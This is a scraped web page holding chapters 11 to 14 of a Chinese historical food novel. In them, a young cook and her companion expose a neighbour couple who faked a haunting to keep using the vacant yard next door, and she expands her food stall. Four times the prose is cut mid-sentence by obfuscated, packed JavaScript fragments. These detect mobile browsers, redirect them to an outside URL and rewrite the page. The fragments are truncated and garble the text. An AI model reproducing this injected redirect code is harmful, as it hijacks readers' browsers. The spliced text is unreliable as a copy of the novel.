RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092340|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旨”两种。 来都来了，虞蘅要了一角，只叫阿盼尝尝，吃醉了明日起来要头疼的。 先端上来两大碗热气腾腾的白米饭，粒粒圆润饱满的稻米吸了水，却不黏糊软烂，分明得刚刚好，嚼之有回甘。 米饭好吃，这顿饭就成功了一半，遑论食材都是最新鲜的。今日现捞上来的蛤蜊与自酿好酒，蒸得蛤肉鲜嫩，点缀些细绿葱丝，与外脆里嫩多汁的煎鸭子、脆爽的芥辣瓜儿与咸津津的咸鱼鲞，哪道不是下饭神器？ 虞蘅是偏爱咸辣口的东西，今天反倒被最清淡的鹌子羹惊艳了舌头。阿盼则是典型的上一道爱一道，雨露均沾，配着辣出眼泪的芥辣瓜条与脆嫩的腰花送了三大碗饭。 至于酒，两人都忘掉了脑后去。 虞蘅也就着鹌子羹的汤汁泡饭又吃了一碗，肚子再也撑不下旁的，正说要起来结账呢，结果！ 才站起来，从二楼左侧一阁子里推门出来一摇摇晃晃搂着艺伎的纨绔，不知是谁家郎君，衣饰皆是上等，富贵之气尽显。 走路都不稳了，显然喝不少。 这些跟虞蘅没关系，但那纨绔不知是被里头的狐朋狗友激了一将抑或是饮酒上头，竟倚着栏杆醉眼眯看楼下，从囊中掏出厚厚一叠交子撒了下来！ ！！ 虞蘅来不及反应，就被一窝蜂的人流给冲得踉跄，身体前倾，好在阿盼眼疾手快地拽了她一把，才堪堪站住。 “好险！” 见众人上前哄抢，饭也不吃酒也不喝了，那纨绔搂着艺妓哈哈笑起来：“如斯丑态，岂非乐子？” 艺伎陪笑，哄着他高兴说了几句恭维话。 众人又哪里管他嘲讽什么？多的是对他感恩戴德磕头起哄，请再散财的。 那纨绔被哄得高兴了，竟呼来管事：“今日楼中酒水饭钱皆记我账上，叫他们极量尽欢！” 过了一会儿，便有小二笑眯眯走过来与虞蘅二人说道：“今日全场消费由李郎君埋单。” 虞蘅：“……” 活了两辈子，头一回运气这么好，碰上富二代炫富的。 阿盼高兴极了，回去一路都在念：“竟有这样莫名其妙的人，不是，这样的好人！” 城郊居民不比内城人家境宽裕，许多还在点蜡烛，还得省着用，是以她们回到小院时，隔壁吴七嫂一家人带孩子已经熄灯睡下了，不便打扰。 “东西明日再搬吧。”虞蘅也着实累了，逛街是最耗费体力的。 “唔……蘅，蘅娘子，我今日能不能同你睡？” 阿盼打着哈欠都走到门口了，忽地止住了动作，踌躇开口。 11. 第 11 章 次日大早，吴七嫂的丈夫将她们昨日买的东西送上门。 对方姓郭名用，是个精瘦矮小的脚夫，厚嘴唇、微黑肤色，眼部因常年劳累而格外浮肿，一副忠厚老实的样貌，身上似乎永远穿着那件浆洗得发白的苧布衫。在东郊这种鱼龙混杂的地方属于是丢进人群就找不出来的那一种。 虞蘅接过东西，免不了一通道谢。 对方搓着手，有点适应不了旁人的热情，半晌憋出一句：“这有啥哩！” 郭用平日里沉默寡言，即便与吴七嫂起了摩擦，也甚少高声说话，脾气异常的好。只是吴七嫂仍然不大满意，时常与另一对捕快夫妻对比，嫌弃郭用。 这些虞蘅在家时不时就能听见，听多了墙角，见到本人难免有些尴尬。 幸好郭用也不惯与年轻的小娘子打交道，放下东西，没多说什么就转身走了。 虞蘅将东西都搬进屋里收拾齐整，再出来阿盼也已经将鸡鸭圈给框好了。 墙角葱韭香，栅下小鸡咕咕，眼见家里被自己亲手填得满当当，虞蘅心里挺有成就感的。 当然了，眼下宅子小又旧，等以后开大酒楼也被人称一句“东家”，届时换大屋，青砖黛瓦，粉墙朱户，必得要三进院子，几十间房，最好再带个园子，想种什么种什么……才一会的功夫，虞蘅已经开始规划专门辟出个院子专门用来种芫荽了。 阿盼早习惯她时不时的畅想，知道蘅娘子这时候说的话都不靠谱，须得左耳进右耳出，否则每日都不用吃饭，光吃大饼就已经饱了。 但她想了想还是点头：“旁人我不信，但蘅娘子一定行。” 虞蘅笑眯眯拍拍她脑袋，“走了。” 想买大宅还须努力，未来的虞东家连朝食都没吃，便朝气蓬勃地推着小车出门摆摊去了。 为了浇灭些虞蘅的鸡血，收摊回来才吃过午食，方才还艳阳高照的天色骤然转阴，继而暴雨如注，青砖地上一砸一个坑。 夏日的雨来得又急又凶，不一会儿檐下便蓄起股股溪流，朝低洼地势淌去。 这阵子初夏，十有八九是阴雨日，又闷热潮湿，后世谓之“回南天”的，大抵是因为这时节梅子香熟，也叫梅子黄时雨。 小院本就“高龄”，在虞蘅两人搬进来之前，已经许久没有人住过了。 今日这一场雨彻底将屋顶那几片摇摇欲坠的砖瓦给冲开，真应了那句“屋漏偏逢连夜雨”。 虞蘅与阿盼只来得及抢救屋里那些不防水的家私，眼下，两人抱着被褥缩在唯一没漏水的厨房里望着屋顶叹气。 阿盼有些沮丧，“今年该去庙里拜拜，去去身上霉味。” “幸好东西都没淋坏，菜圃这次咱们也搭了棚子。”虞蘅安慰她。 没什么损失已经很幸运了，对门晒了一院的干粮可都没来得及收呢！ 待雨小了，虽然很不好意思，虞蘅还是敲响了隔壁邻居的门。 捕快一家子不在，好在吴七嫂给她们开了门：“哎呀今年雨水可真勤。” “可不是！”虞蘅笑着塞了一罐自家腌的青梅过去。 求人办事先送礼物，今夏虞蘅腌了很多梅子，泡酒吃、或者下茶泡饭、给孩子当零嘴都好。塞一颗进嘴里，能含上整刻钟，光想到那咸酸的口感，嘴里就酸溜溜的流口水。 平常都是吴七嫂来串门，今日虞蘅头一回瞧见她家模样，虽然听了这么久墙角，仍被惊了一下。 比虞家还小的院子里，四处堆满了杂物，平日摆摊的推车就竖在门口，地上不少滴落的油渍，屋子里虽瞧不见，可三四个半大孩子吵闹的声音传出来，就已经足够乌泱泱的了。 虞蘅决定收回上午觉得吴七嫂脾气不好的话。 要她在这样环境里，每日还得为生计奔波，也好不了一点。 听说她们屋顶破了洞，吴七嫂立马答应下来：“我家官人略懂些房屋修补，过会我叫他去，你们且安心吧。” 虞蘅笑眯眯地道谢，正要告辞，吴七嫂却留了她一下：“正想请教你，那日鱼汤怎么炖的？又白又好，我家大郎二郎抢着喝，后来我做总一股子腥气。” 虞蘅先问她怎么做的，听了之后，一下便发现问题所在。 “鲫鱼腹中黑膜最腥气，得一丝丝去干净了才行。”又如何手法处理，如何炖出奶白汤汁，这却不是一两句能指点完的。 她干脆放下怀中湿伞：“恰巧家里今晚吃鱼，吴嫂与我们一块吧。” 吴七嫂嘴里说着这怎么好意思，然虞蘅与阿盼极力邀请，盛情难却，还是跟着回了虞家小院。 虞蘅演示的时候，吴七嫂便站在一旁看着，听她不时点拨：“做之前用葱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092341|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜酒腌一下，不然还是腥。” “油一定要热，将鱼肉煎透了，再入开水，汤才能奶白奶白的，换了旁的肉，也是一样道理。” 吴七嫂不断点头，期间郭用回来了，被吴七嫂叫住，替她们修补屋顶。 郭用身材瘦小、身形灵活，做工熟练，没用多久就将缺口给补好了。 这时候鱼汤也好了，虞蘅邀她们一家子留下吃饭。 家里三四个孩子张嘴等吃饭，再加两个成年人，吴七嫂是怎么也不好意思的，赶忙推却了。 虞蘅一定要他们将汤端去：“今日多谢郭郎君了。” 那鱼汤盛在陶钵里，只随意放了点盐巴提味，鲜美得很，常人不能拒绝。 “真是多谢你了。”两人轮流谢来谢去的，当真是邻里和睦。 夜里阿盼又想与她挤一处睡，虞蘅却是说什么也不答应了：“你昨日踢我少说七八脚！胳膊压得我喘不过气！” 阿盼遭拒，噘着嘴走了，不一会儿又面带迷茫回来：“蘅娘子，我记得昨天买的小灯球放在床头了，怎么不见？” 那样精致的桃花缕金灯球儿，里面灯油燃尽了，两人都不舍得丢，小心剔干净，挂在床边留作装饰。 虞蘅屋里的还在，翻找了半天都没寻见。 “奇了怪了，”阿盼嘟嘟囔囔，忽然又想起前夜里的声音，煞白了脸，“蘅娘子，莫、莫不是真有鬼吧！” 虞蘅弹一下她脑袋：“瞎说！” 可自己心里也觉得怪怪的，难道？不会吧？ “小玩意罢了，丢便丢了，下次再买。你若怕便搬来我屋里睡。”虞蘅安慰她，“许是顺手放在什么地方忘了，我就总这样。” 阿盼将被褥都搬到虞蘅屋里，好在这床够大，两人又都是小姑娘，挤一挤倒也能睡下。 虞蘅睡在床里靠墙，对着的是与吴七嫂家相邻的院墙，到半夜时，听见极轻的“啪嗒”一声。 像是砖瓦掉在了地上，又像是……下午郭郎君踩在瓦上行走发出的声音。 有贼？ 虞蘅睡得迷迷糊糊，没去深究。 可不过多久，阿盼就紧张得一把攥住她手臂。 虞蘅被掐得痛死，人也清醒过来。 阿盼声音里带了哭腔：“蘅娘子，你听听，外头是不是有人在哭！” 12. 第 12 章 总算是真真切切听到了传闻中的“闹鬼”动静，幽幽咽咽，透着点嘶哑，在这夜深人静时听起来倒真渗人。 这声音……虞蘅皱眉抿唇。 再看阿盼被吓得不轻双眼噙泪模样，又缓了声音：“你怕什么，这鬼若真神通，咱们住这么久，早被吃干抹净了。” 只怕不是鬼，是有人装神弄鬼。 阿盼抽噎：“可是……” “你等着看，”虞蘅披衣坐起来，趿着鞋轻手轻脚走到门口，那声音越发清晰起来。 她屏息听了会儿，而后猛然推开门，“谁在那？看见你了！” 那声音源头被吓一跳，戛然而止，黯淡月光下，虞蘅只来得及看见西面杂物间的屋顶上有道白色影子一闪而过。 那影子动作轻盈、熟练，虞蘅总觉得有些眼熟。 。 汴河之上，飞桥如虹，桥身两侧挤满了商贩，布匹香料茶饮果蔬，一直蜿蜒伸向桥架下两岸河堤。经汴河北上的货船大多在此停靠，两岸立刻有拿筹片的脚夫争着上来搬货。 吴七嫂每日都在此摆摊，风雨无阻，每到饭点，丈夫郭用便过来吃饭，吃完休息会儿，再接着回去上工。 从清晨至日落，夫妻每日所挣加起来能有个二百来文，在邻居之间收入也算是中上水平了。只是家里子女多，除了大郎还能勉强照看弟妹以外，其余三人年纪小尚不能分担家事，便显得日子吃力。 虞蘅刚收摊，准备回去补一觉，路过吴七嫂摊位时打了声招呼。 吴七嫂叫住她，“怎眼下一圈黑？没睡好？” 虞蘅看一眼她，笑道：“是没睡好，昨夜不知是鼠还是夜猫，弄出动静来，吓人一跳。” 任谁都看得出她这笑有多勉强。 吴七嫂啧啧两声，一副早知道的口吻：“就说叫你们早搬走！昨夜那动静，可把你俩小娘子吓不轻吧？” 虞蘅被戳穿，有些尴尬，又心有戚戚，向吴七嫂追问细节：“究竟什么冤屈？这事儿犯多久了？可有找师父来做法事？” 吴七嫂却答不上来，恰好摊位上来了客人，便托词过后再聊，总算打发走了虞蘅。 吴七嫂松一口气，转头继续招呼客人。待到中午，郭用带两个脚夫一块来了，在隔壁摊要了碗素面，配上自家的兜子，三人吃得唏哩呼噜，连底汤都不剩。 “走了。” 郭用转身要走，被吴七嫂叫住：“等会！” 吴七嫂将他拉到一边，压低声道：“我看她俩昨晚吓得不轻，今晚去看看去。” 郭用面色有些为难，还没说什么，就被妻子拧了一把胳膊：“少废话！” “好吧。” 妻子强势，郭用只好答应下来。 昨晚差点被发现，今天更得小心些。郭用换上宽大的白麻衣，攀上两家相接的墙头，耐心观察了会儿，见院中黑灯瞎火没什么动静，这才放下心，身手熟练地翻了过去。 今日脚下的触感却不大一样，一团绵软，不知踩到了什么。 接着一声凄厉的犬吠划破了宁静：“汪！” 接着更多的犬吠响起：“汪汪！” 墙根底下新栓了三四只毛色油光水滑的黑狗，一个个呲着大牙，当中一只足底带黄的尤其凶恶，方才便是踩着了它。 那黑狗扑了上来，郭用只觉腿猛地一痛，“嘶！” 哪来的死狗！ 腿上定然被咬了个大洞，正往外冒血，可眼下顾不得管。 他暗中咒骂了句，恐吵醒屋内人，就要从墙头原路溜走。 可已经来不及。 “郭郎君大半夜不睡觉，怎到我家来了？”虞蘅端着蜡烛不知道从哪冒出来，在墙根底下抓了他个正着，“怎不走寻常路子，喜欢爬墙？” 幽幽的烛火只照亮她一半莹白脸庞，神情嘴角带笑，可语调却是凉飕飕的。 郭用没被狗吓着，却被她游魂似的出现吓了个半死，直接从墙头栽落。 “哟，郭郎君这身打扮好新鲜。”虞蘅又点了根蜡烛，扭头笑道，“郑郎君孙娘子说是不是？” 郭用惊讶地看向她身后，这才发现暗处还坐了两个人，正是他们房东夫妻。 “这……”孙娘子目瞪口呆，“你不是隔壁吴七娘的官人么？” “好啊，原来是你在弄鬼！”郑郎君勃然变色，“唰”地从椅子上站起来， “害我家宅子这么久空置，心肠忒坏！” “我们有哪对不起你们，要这样使坏？！”孙娘子很不敢相信，连声质问。 “我，我没有。”郭用懵在当下，只会做无用的否认，辩驳不出一句。 阿盼最是生气，并步上前一把将他头上遮掩的白布薅下来：“穿成这样！还说没有！当我们瞎子呢？” “……” 这边的动静惊醒了周围住户，纷纷亮起灯出门查看情况。 “怎的了？发生什么了？” “这么大阵仗，捉贼呢？” “哟，那不是隔壁老郭么？怎的趴在地上？” “……” 只有隔壁吴七嫂家，依旧黑漆漆的不敢冒头。 这院子隔音极差，吴七嫂当然听见这边动静，她将孩子们捂在被子里，不许他们出声，心里只想着事情败露，完了。 虞蘅那两个小娘子怎会将房东请来，不该是被吓得神志失常，连夜搬走么？ “叩叩”院门被人敲响，吴七嫂不敢开门，最小的二娘不知情况，兴奋道，“爹爹回来了！” 爹爹每次去隔壁，总会带回来些新鲜玩意，上次的小灯球儿还被她藏在床底下呢！ “别说话！”吴七嫂低低斥了一声。 虞蘅见院内没动静，便故意扬声：“既如此，便将此人扭送官府，看看他大半夜潜入我们两个小娘子家究竟有何意图？” 阿盼如今也很懂礼节，扭头冲看热闹的邻里邻居福礼道：“还烦请诸位做个见证。” 两个年轻小姑娘，流落至此相依为命本就可怜，平日又笑脸迎人，与他们关系都不错……何况便不为她们，左邻右舍都受这鬼哭狼嚎困扰许久此时捉住了罪魁祸首，当然气愤。 当下都道：“放心吧，我们定不会让此人胡乱攀咬。” 隔壁捕快自告奋勇充当起了押送人。 闹哄哄的正要去官府时，门开了。 “各位郎君，莫不是有什么误会， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092342|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我家官人怎会犯事呢？”吴七嫂陪笑。 “哟，我还只当你睡死了，听不见动静。”孙娘子讥讽，“怎舍得出来了？” 吴七嫂扫一圈众人，知道已经无法辩驳，眼神落在当中虞蘅身上，带点祈盼跟哀求：“阿蘅……” 入室偷盗、危害居住环境……虞蘅叹气：“这不是我能帮忙的，吴嫂。” 吴七嫂掩面哭泣起来。 据夫妻二人公堂上叙述，他们搬进来前，隔壁恰巧发生了件入室杀人的案子，他们虽然心里害怕，却因此得到了房租上的便利，遂还是决定住下。 过了段时日，有次家中晒的床褥被风吹掉隔壁去了，因隔壁无人，郭用便翻墙去捡，不料闹出的动静被隔壁误会，从此便有闹鬼的风言风语，宅子更加租不出去。而郭用回来后，夫妻二人对隔壁空置的院子起了占用的心思，左右也无人问津，二人便将家里杂物偷偷塞进隔壁，付一间院子的赁钱，享受两间院子的空间。 谁料事情过去一年多，风声渐渐消了，隔壁又有来新租客。夫妻二人又要将东西搬回自家，看着乱糟糟的院子，吴七嫂很是不惯，于是故技重施将租客吓跑，好继续占用。 如此，三任租客听见的“闹鬼”动静其实都是郭用夫妻二人弄出来的。 至于丢失的小灯球，或许是顺手牵羊，或许是出自一个父亲“沉默的爱”，在见自家女儿没有同龄孩子一样的玩具时，动了歪念头，具体如何，便自由心证了。 最后怎么判，虞蘅没去关心，到底当初当兄姊尊敬过的邻居，发现真是他们从中搞鬼，虞蘅心里滋味颇复杂。 总归郑家的房屋是必不可能再租给他们了，似乎不出两日，隔壁就搬空了。 破了一桩缠绕自家许久的烦心事，孙娘子与郑郎君对虞蘅二人很是感谢，不但不给她们涨价，还主动替她们重新修缮了这几间房屋。 虞蘅也做了几道家常菜，感谢二人那日配合自己，又在饭桌上托二人帮忙：“城中哪处有合适的铺面，还请帮忙留意。” 郑郎君拽着块肉厚筋肥的蹄膀吃得满嘴油光，咂一口虞蘅自酿的青梅酒：“好过瘾！” 孙娘子嫌弃似的推了下他，“阿蘅要寻铺面？这几日我多替你打听打听。” 郑郎君皱眉：“只是这城中铺面紧缺，怕是找也没这么快。” “不急。”虞蘅笑盈盈的，故作俏皮眨眨眼，“便是二位明日给我寻来了，我恐怕也还买不起，只是先打听着看看机遇罢了。” 孙娘子呷一口香醇鸡汤，眼睛都眯起来：“好说，好说。” 一顿饭，清淡有清蒸鲥鱼、竹荪鸡汤，浓郁有红焖蹄膀、芥辣瓜条，饭后还有一盏冰冰甜甜的豆花消暑，好过瘾。 临走孙娘子拉着她手，忽然想起来似的：“要说铺子，我倒真知道一个，做伞生意的。原先的主人欲回老家娶亲，不再回来了，欲将铺子转让。地段好，东西也都新，只是要价四十五两，又是个伞铺，许多东西都要你新添置，你看？” 这么粗粗一算，置办个铺子竟没有五十两下不来。 虞蘅尴尬地咳嗽一声：“还是再看看。” 孙娘子笑着拍拍她的手：“懂，我懂。” 13. 第 13 章 立夏后，生机开始蓬勃得厉害，一夜之间，道旁榆柳便浓翠得几乎要滴出黛来，空气都仿佛变得黏腻。随之攀升的，是每日清晨醒来时的气温和夜里此起彼伏的蛙鸣。 这时候热烫的灌浆、汤面、羊肉烧饼之类已经不大适合了，随之兴起的是清爽的冷淘、鱼脍跟各色消暑饮子。 家常菜蔬的选择也比初春多得多，蚕豆苋菜嫩胡瓜，青蒜新笋荠菜芽，炒点鸡蛋炒点蒜末就好吃得很。 虞蘅在家打了一口小铁锅，刚从菜园摘下来，井水一冲便到了锅里，只清油一炒，又端到了桌上。 一点点盐巴调味，吃的就是那口脆嫩鲜甜，特别适合这样炎炎夏日开胃。 月余过去，食摊积累了一批稳定的食客，兼之每日都有些新客光顾，虞蘅包包子调馅的功夫越练越熟手，就连第一天出摊儿还不好意思叫卖、声音细若蚊蝇的阿盼，如今都有些独当一面的意思了。 虞蘅很放心将摊子交给她，自己则跑了一趟菜市与肉市，将“夏三鲜”给凑齐了。 国人立夏尝三鲜的习俗从古就有，发展到现在已经很有章法了，分地里长的、水里游的，树上结果子的。 家境好些追求清高的，食“水三鲜”、“树三鲜”，俗人则更青睐物美价廉的“地三鲜”凑趣。 民间俚语这样传，真吃起来其实没这般泾渭分明的阶级。 虞蘅拿菠菜汁子和面，皮子青翠青翠，肉馅里加些笋末、香蕈丁，笋丁稍微腌一下，带点酸味，吃着脆爽，没那么醇厚，更解腻，很适合夏天，这是香蕈笋丁肉末馒头。 又拿苋菜汁子和面，蒸出来粉粉嫩嫩的无馅馒头，切片抹点樱桃酱、炸干炸酥了沾点杏酱，酸甜口的，这是古代版果酱吐司和炸馍片。 都是立夏前后成熟的菜蔬水果，新鲜多汁，又有“尝三鲜”的广告噱头，不少人愿意掏这个钱尝鲜。 有赚头，虞蘅便正式将它们纳入夏季食单中。 毕竟人都是喜新厌旧动物，日日猪肉大包子，再好吃也会吃腻。经典虽好，却不能只有经典，除非自身本事的确过硬，真有那么无法替代。 就像虞蘅上辈子吃过的一家烧烤，开在居民楼里，来来回回客流就那些，里面永远只卖一样单品——猪肉筋，可生意依旧火爆。 虞蘅研究过老板的生意经，觉得原因有二，一是烧烤师傅手艺的确好，附近再没有比这更好吃的猪肉筋，二是老板十年如一日地要求高，当天没有好肉，便不开张，宁愿不赚钱也不砸招牌。 虞蘅一边学习人家这种精神，一边也知道自己斤两。 莫说跟张兰娘那样精心培养出来的人才比较，便是路边脚店随便拎个满脸憨厚淳朴的庖厨出来，实操技能恐怕也比她强得多。 眼下已经有不少模仿她做猪肉灌汤包，还像模像样的，分走了一部分客流。 被模仿这事儿，虞蘅本有些好笑，然大伙都是糊口饭吃，想想便也算了，拦不住啊。 这东西又没有专利，真论起来，她们还都得对最早研究豕肉馒头的那位前辈喊一声祖师爷呢。 谁叫自己摊位排队久，又常买不上呢！ 这也是虞蘅迫切想盘个铺子下来的缘故。 有个自己的地盘，再雇个人手，日间便能慢慢地备货、研究新菜，不像眼下时间被分得很散，常常一整日忙忙碌碌却不知忙了什么。 眼下铺子还没个着落，但新品反响很不错，许是樱桃、杏子、青梅之类水果生长于树林山野中，自带风雅属性，意外地很受士大夫们青睐。 原以为读书人该都爱那清淡又爽薄的，有二位却对虞蘅借了“树三鲜”名号狠卖高价的果酱沾馒头不屑一顾。 太学生陆钰、周景是摊上的常客，每次来了，各点上四笼不要醋不要辣的豕肉灌浆馒头，吃完还要给同窗带回去，动辄七八笼，是虞蘅如今最稳定的大主顾。 两都是西北来的，一样的黑紫肤色、浓眉墨眼，身高九尺余，说话自带胸腔共鸣，每每跟他们打交道，虞蘅总恍惚想起前世高中每个班教室最后一排的那些体育生来。 一样的四肢发达身强体壮，又都一样能吃。 从前她碰上这种人还有些怯，自从做了吃食生意后便倍感亲切。 刚才对着旁人还是“郎君要什么馅儿？各来几样？外带还是就着吃？醋要否？辣要否？”到了陆、周二人这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15092343|163668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿， “两位郎君还是老样子？”虞蘅微笑着问。 “老样子。” 周景为人比陆钰更风流不羁些，笑眯眯地点头，“我们许久不来，蘅娘子记性倒好。” 能不好吗？一天收入刨去成本两百多文，有一百是你们贡献的。 虞蘅腹诽完，面上彩虹屁道：“二位郎君风度优雅、仪表堂堂，想不记住也难啊。” 周景噗嗤一声笑了，严肃点的陆钰也看她一眼，微红了脸，只是在他那黑紫面膛上显不太出来罢了。 旁边有客人幽幽插话：“嘿，合着小娘子没记住咱，是因为样貌不佳。” 虞蘅看一眼这位，丹凤眼悬胆鼻，肤色白皙，怎么也算不到“不佳”上去，凭自己这个“颜控”都没什么印象，想来是生客。 “方才话还没说完，郎君样貌有了，却还缺一样——” 虞蘅笑道，“两位郎君每每光顾，必将小摊上现蒸的馒头给包圆了。我脚都不沾地，记不住才难呢！” 旁人都笑，那插话的人也笑了。 旁的摊主只看虞蘅摊位上一摞的空盘，眼馋得不行。羡慕啊，要他们也是年轻貌美小娘子就好了。 待他结账时，另打包了一份香蕈笋丁肉沫馒头要带走，站在摊前等着，方才陆钰、周景二人走过来打招呼：“子介！” “周兄、陆兄。”王献拱手，“没想到在此又遇见了，真巧啊！” 虞蘅这才晓得他们之间认识。 “原是熟友。”虞蘅将双方的打包都分别递至对方手上，又笑着促狭一句，“下回郎君再来，我可记住了。” 人多那会凑趣多半还是因为见着了同窗，调侃一二，眼下面对面被小娘子打趣，王献有些尴尬：“某玩笑话，小娘子莫放心上。” 又疑惑：“小娘子的手艺，似乎在哪见识过，可瞧娘子面孔又眼生。” 虞蘅心说我哪知道你们这些贵人？嘴上却乖巧：“那不更是小摊与郎君的缘分了？郎君若吃着还好，日后定常来啊。” 好伶俐的嘴，王献摇头失笑：“定常来定常来。” 哈哈笑过，拎着给弟弟打包的吃食，走了。 14. 第 14 章 今日一整日，王小郎过得堪称“跌宕起伏”。晨起睡懒觉起迟，被温柔娘亲从床上给拖起来，到了书院门口恰巧碰见山长与早课先生结伴而来；回到课室，发现忘带昨日最为严厉的算学夫子布置的课业…… 又与同桌起争执两次，将墨汁不小心泼在山长最爱绿菊上，最后被夫子罚至门外站着，丢大脸。 拉着脸回到家，王献愀然不乐。却见兄长在他屋里坐着，还给他带了夜宵。 闻见香味，王融立马不丧气了，小跑着扑进兄长怀中：“还是阿兄疼我！” 他忘了收力道，一个箭步上前，短胖的身子将哥哥撞得几乎倒仰。 王献疼得呲牙咧嘴，忍下斯哈抽气的欲望，维持住了稳重形象，揉揉被熊孩子撞疼的肋骨，还不忘指指食案：“这是你上回买的那灌浆，不是喜欢？今出了新口味，快尝尝看。” 倒了一天霉后，王融在兄长的投喂下吃上了暖乎乎的甜粥，还有皮薄馅大的香蕈笋丁肉馒头。 粥是府里厨娘煲的，米用的是东南藩国进贡的香米，米粒细长饱满，带点淡淡茉莉香气，煮开后胶质十足，绵稠软烂。 厨娘照顾着两位郎君口味，特地放了金丝蜜枣跟莲子，去了皮核，喝起来甜丝丝的，还有些嚼头。 配粥的主角是王献特地带回来香蕈笋丁肉馒头与虞记经典灌汤包，新鲜出炉的，立刻便带回了府上，此刻还冒着热气。 王融斯文地掰开一个小口，立马有温热蒸汽裹挟着肉香扑在鼻端。 鼻尖染上湿意，仿佛也浸染了馒头的香味，还有一点儿清香掺杂其间，那是山笋和香蕈的作用。 他吸了吸鼻子，赞道：“好香！” 香蕈馒头虽不比灌汤包那样丰盈多汁，但个大满足啊！ 深深咬下去，麦香、笋香与纯粹的肉香溢满口腔，稍微咀嚼两下，鲜嫩的肉汁便淌了出来。每一口都有丰腴的油脂。 王融最爱吃底下的皮，都被蒸出的油汤浸透了，呈微微透明，既不干噎，又没空口吃肉那般腻。 当然，虞记这馒头怎么也称不上“腻”，他很喜欢。 一整钵蜜枣香米粥，两笼馒头并几道粥菜，被两人吃了个七七八八。 王融又撑得睡不着，哼哼唧唧地在房中踱步消食，王献更甚。 他回来前还吃了两笼香蕈馒头并一碗冷淘呢！ 次日，入了夜，虞蘅正准备收摊呢，远远有个人风一样跑来拦在她摊位前，大喘气如牛。 至于么？虞蘅哭笑不得，发现竟还是熟人——先前插队来着那小厮。 虞记回头客不少，这位吃瘪后倒是再没来过，想来是因丢了脸而生闷气。 不过开门做生意，虞蘅便当没认出来，笑道：“小摊已经打烊了，客人改明日再来吧。” 小厮才从桥头一路跑到这儿，气都还没喘顺呢，一听，立时就急了：“怎就打烊呢这不还没走呢么？是不是不想卖我故意搪塞！” 这样的客人时常会有，倒不是找茬，只是性子容易冲动，说不上三两句就急躁。 虞蘅摇摇头笑道：“确实是卖完了的。” 她冷锅冷炉，蒸笼上只剩一点余温，就连平日飘在顶上的的青布小帜都收了起来。 小厮焦躁了些，却不是完全不讲理，怒气顿时转为沮丧焦急：“这可如何是好？” 虞蘅自顾收拾东西，一边道：“客人不急的话，明日早些来便是。” 不急怎么不急？小厮刚想搬出王小郎身份压她，却又想到小郎因上次自己借王家名头在外横行霸道事恼了自己，近来很是冷淡，又不敢了。 小厮一屁股在路边坐下，连声哀叹，背影幽幽的，看着还真可怜。 想来他也是替主人跑腿，没买成，回去指不定挨气受。 虞蘅走出几步，到底翻了自己一个白眼，又停下。 “您随我一道回去取吧，面跟馅都有，只现包现蒸有些久。”虞蘅无奈地弯一下唇角。 这是想起来上辈子打工的自己，发了回善心。 那小厮几乎蹦起来：“果真？” 应是怕她反悔，立刻答应道：“多谢娘子了！” 见她带了个陌生男子回来，阿盼吓了好大一跳！听了来龙去脉后，依旧警惕地看着对方。 虞蘅本也没想让人进家门，就叫他在巷口等着，一会自己再送出来给他。 那小厮哪有不肯的，千恩万谢，又不放心嘱咐：“我家小郎与好些小郎君同聚，做得好，另还有赏钱，可切莫敷衍了事。” 虽是大宅门里的人再正常不过的叮嘱，阿盼仍旧颇不爽：“你这人话怪多的哩！” 被虞蘅拉到厨房帮忙，嘴里还在碎碎：“这么神气，有本事别来买我们家馒头呀。” 虞蘅戳一下她发髻：“少说话，人付了银钱的。” 阿盼“嘁”一声，表示对这点仨瓜俩枣很看不上。 虞蘅摸摸口袋，沉甸甸的真银两。好吧，对不住，也不完全是她发善心，对方给的实在太多了啊。 这样的加班加点加急单子，手边凑不满规规整整的材料，便有什么用什么。 凑了一食篮子口味各异的大包子，表面看上去又都一样，吃起来有种开盲盒的惊喜。 收了重金，虞蘅还有些不好意思，将砂锅里剩的没人动过卤肉拿来做酱肉馒头，入口咸回味甘，肥瘦各半，有点后世叉烧包的味道，爱甜咸党应当会很喜欢。 又想着那小厮应当也没顾得上吃饭，便单独分了两个大肉包子出来。 小厮接过食篮，再次千恩万谢，发现竟然还有自己的份，一下愣住。 虞蘅摆着手道没事：“抓紧回吧。” 